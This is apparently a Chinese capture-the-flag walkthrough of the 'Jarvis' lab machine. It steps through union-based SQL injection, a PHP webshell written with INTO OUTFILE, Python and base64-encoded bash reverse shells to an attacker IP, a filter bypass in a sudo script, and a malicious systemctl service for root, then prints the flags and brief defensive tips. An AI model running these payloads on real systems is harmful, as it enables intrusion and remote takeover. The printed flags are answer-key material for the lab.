[Meachines] [Medium] jarvis 手工SQLI+python脚本命令执行过滤绕过+TRP00F自动化权限提升+Systemctl 权限提升
字数 724 2025-08-19 12:41:32

Meachines渗透测试实战教学文档

信息收集阶段

目标识别

  • IP地址: 10.10.10.143
  • 开放端口:
    • 22/tcp (SSH - OpenSSH 7.4p1 Debian)
    • 80/tcp (HTTP - Apache 2.4.25)
    • 64999/tcp (HTTP - Apache 2.4.25)

扫描技术

使用Nmap进行快速扫描:

nmap -p- 10.10.10.143 --min-rate 1000 -sC -sV

Web应用渗透

SQL注入攻击

  1. 手工SQL注入检测:

    • 确定字段数量:
    curl -s 'http://10.10.10.143/room.php?cod=1 order by 7--+' | wc -c
    
    • 确认可注入点:
    http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4,5,6,7--+
    
  2. 数据提取:

    • 获取表名:
    http://10.10.10.143/room.php?cod=-1 union select 1,GROUP_CONCAT(DISTINCT table_name),3,4,5,6,7 FROM information_schema.columns--+
    
    • 读取系统文件:
    http://10.10.10.143/room.php?cod=-1 union select 1,LOAD_FILE('/etc/passwd'),3,4,5,6,7--+
    
  3. 文件写入:

    • 写入PHP webshell:
    http://10.10.10.143/room.php?cod=-1 union select 1,'<?php system($_GET[1]);phpinfo();?>',3,4,5,6,7 INTO OUTFILE '/var/www/html/reverse.php'--+
    

获取反向Shell

使用Python反向Shell:

curl 'http://10.10.10.143/reverse.php?1=python3+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%2210.10.16.24%22%2c10034))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3bos.dup2(s.fileno()%2c2)%3bimport+pty%3b+pty.spawn(%22%2fbin%2fbash%22)%27'

权限提升

横向移动

  1. 检查sudo权限:

    sudo -l
    

    发现可以以pepper用户身份执行/var/www/Admin-Utilities/simpler.py

  2. 利用simpler.py执行命令:

    • 读取文件:
    echo '$(cat /etc/passwd)' |sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
    
    • 执行反向Shell脚本:
    echo 'L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNi4yNC8xMDAzNSAwPiYxIgo='|base64 -d >/tmp/rev.sh;chmod +x /tmp/rev.sh
    echo '$(/tmp/rev.sh)' |sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
    

获取用户标志

User.txt: 2354b15a6cb7ae36bfd2cb72f7b69b0d

最终权限提升

  1. 使用systemctl提权:

    • 创建恶意service文件(/tmp/pwn.service):
    [Service]
    Type=oneshot
    ExecStart=/bin/bash -c '/bin/bash -i >&/dev/tcp/{re_ip}/{re_port} 0>&1'
    [Install]
    WantedBy=multi-user.target
    
    • 链接并启动服务:
    systemctl link /tmp/pwn.service
    systemctl start pwn.service
    
  2. 获取root标志:

Root.txt: 9d8eb89d70c481256f008375359affec

关键点总结

  1. 手工SQL注入:

    • 避免使用sqlmap等自动化工具(会被封IP)
    • 使用UNION SELECT确定字段数量
    • 利用LOAD_FILE和INTO OUTFILE进行文件读写
  2. 命令执行绕过:

    • 使用base64编码绕过过滤
    • 通过sudo权限执行任意命令
  3. 权限提升技巧:

    • 利用systemctl创建恶意服务
    • 通过服务执行获取root shell
  4. 防御建议:

    • 对SQL查询使用参数化查询
    • 限制文件系统写入权限
    • 严格控制sudo权限
    • 监控systemctl服务创建
Meachines渗透测试实战教学文档 信息收集阶段 目标识别 IP地址 : 10.10.10.143 开放端口 : 22/tcp (SSH - OpenSSH 7.4p1 Debian) 80/tcp (HTTP - Apache 2.4.25) 64999/tcp (HTTP - Apache 2.4.25) 扫描技术 使用Nmap进行快速扫描: Web应用渗透 SQL注入攻击 手工SQL注入检测 : 确定字段数量: 确认可注入点: 数据提取 : 获取表名: 读取系统文件: 文件写入 : 写入PHP webshell: 获取反向Shell 使用Python反向Shell: 权限提升 横向移动 检查sudo权限 : 发现可以以pepper用户身份执行/var/www/Admin-Utilities/simpler.py 利用simpler.py执行命令 : 读取文件: 执行反向Shell脚本: 获取用户标志 最终权限提升 使用systemctl提权 : 创建恶意service文件(/tmp/pwn.service): 链接并启动服务: 获取root标志 : 关键点总结 手工SQL注入 : 避免使用sqlmap等自动化工具(会被封IP) 使用UNION SELECT确定字段数量 利用LOAD_ FILE和INTO OUTFILE进行文件读写 命令执行绕过 : 使用base64编码绕过过滤 通过sudo权限执行任意命令 权限提升技巧 : 利用systemctl创建恶意服务 通过服务执行获取root shell 防御建议 : 对SQL查询使用参数化查询 限制文件系统写入权限 严格控制sudo权限 监控systemctl服务创建